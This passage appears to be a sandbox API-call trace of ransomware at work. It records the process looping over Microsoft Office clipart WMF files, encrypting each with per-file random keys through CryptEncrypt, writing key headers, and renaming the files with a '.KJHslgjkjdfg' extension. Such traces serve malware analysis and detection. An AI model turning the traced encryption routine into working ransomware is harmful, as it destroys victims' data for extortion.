lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.536] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.536] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.536] GetProcessHeap () returned 0x990000 [0218.536] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.536] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.536] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.536] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.536] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.536] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.536] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.536] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.536] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.537] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.537] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.537] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xf72, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xf72, lpOverlapped=0x0) returned 1 [0218.537] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80, dwBufLen=0xf80 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xf80) returned 1 [0218.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.537] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xf80, lpOverlapped=0x0) returned 1 [0218.537] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.537] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1054, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.537] SetEndOfFile (hFile=0x130) returned 1 [0218.540] GetProcessHeap () returned 0x990000 [0218.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.540] GetProcessHeap () returned 0x990000 [0218.540] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.540] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00411_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00411_.wmf.kjhslgjkjdfg")) returned 1 [0218.542] CloseHandle (hObject=0x130) returned 1 [0218.542] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e9e8900, ftCreationTime.dwHighDateTime=0x1bd4bd7, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e9e8900, ftLastWriteTime.dwHighDateTime=0x1bd4bd7, nFileSizeHigh=0x0, nFileSizeLow=0x9d2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN00687_.WMF", cAlternateFileName="")) returned 1 [0218.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.592] GetProcessHeap () returned 0x990000 [0218.592] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.592] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.592] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.592] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.594] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.594] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.594] GetProcessHeap () returned 0x990000 [0218.594] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.594] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.594] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.594] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.594] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.595] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.595] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.595] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.595] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x9d2, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x9d2, lpOverlapped=0x0) returned 1 [0218.595] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e0, dwBufLen=0x9e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x9e0) returned 1 [0218.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.595] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x9e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x9e0, lpOverlapped=0x0) returned 1 [0218.595] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.595] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.595] SetEndOfFile (hFile=0x130) returned 1 [0218.597] GetProcessHeap () returned 0x990000 [0218.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.597] GetProcessHeap () returned 0x990000 [0218.597] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.597] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00687_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00687_.wmf.kjhslgjkjdfg")) returned 1 [0218.600] CloseHandle (hObject=0x130) returned 1 [0218.600] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd723f700, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x6d4fb570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd723f700, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01164_.WMF", cAlternateFileName="")) returned 1 [0218.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.601] GetProcessHeap () returned 0x990000 [0218.601] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.601] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.601] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.602] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0218.603] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.603] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.603] GetProcessHeap () returned 0x990000 [0218.603] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.604] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.604] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.604] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.604] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.604] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.604] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.605] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x236, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x236, lpOverlapped=0x0) returned 1 [0218.605] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x240, dwBufLen=0x240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x240) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.605] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x240, lpOverlapped=0x0) returned 1 [0218.605] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.605] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.605] SetEndOfFile (hFile=0x130) returned 1 [0218.608] GetProcessHeap () returned 0x990000 [0218.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.608] GetProcessHeap () returned 0x990000 [0218.608] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.608] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01164_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01164_.wmf.kjhslgjkjdfg")) returned 1 [0218.609] CloseHandle (hObject=0x130) returned 1 [0218.609] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fba7700, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5ae692f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6fba7700, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x66a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01165_.WMF", cAlternateFileName="")) returned 1 [0218.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.611] GetProcessHeap () returned 0x990000 [0218.611] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.611] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.611] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.611] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x6, lpOverlapped=0x0) returned 1 [0218.613] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.614] GetProcessHeap () returned 0x990000 [0218.614] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.614] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.614] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.614] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0218.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0218.614] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0218.614] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.614] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.614] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.614] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x66a, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x66a, lpOverlapped=0x0) returned 1 [0218.615] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670, dwBufLen=0x670 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x670) returned 1 [0218.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.615] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x670, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x670, lpOverlapped=0x0) returned 1 [0218.615] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0218.615] SetEndOfFile (hFile=0x130) returned 1 [0218.616] GetProcessHeap () returned 0x990000 [0218.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0218.616] GetProcessHeap () returned 0x990000 [0218.616] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0218.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01165_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01165_.wmf.kjhslgjkjdfg")) returned 1 [0218.618] CloseHandle (hObject=0x130) returned 1 [0218.618] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c77a00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d5216d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x79c77a00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4e02, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TN01308_.WMF", cAlternateFileName="")) returned 1 [0218.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN01308_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn01308_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0218.620] GetProcessHeap () returned 0x990000 [0218.620] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0218.620] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0218.620] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0218.620] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0218.622] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0218.622] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0218.622] GetProcessHeap () returned 0x990000 [0218.622] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0218.622] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0218.622] CryptDestroyKey (hKey=0x9b6628) returned 1 [0218.622] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0218.622] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0218.623] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0218.623] 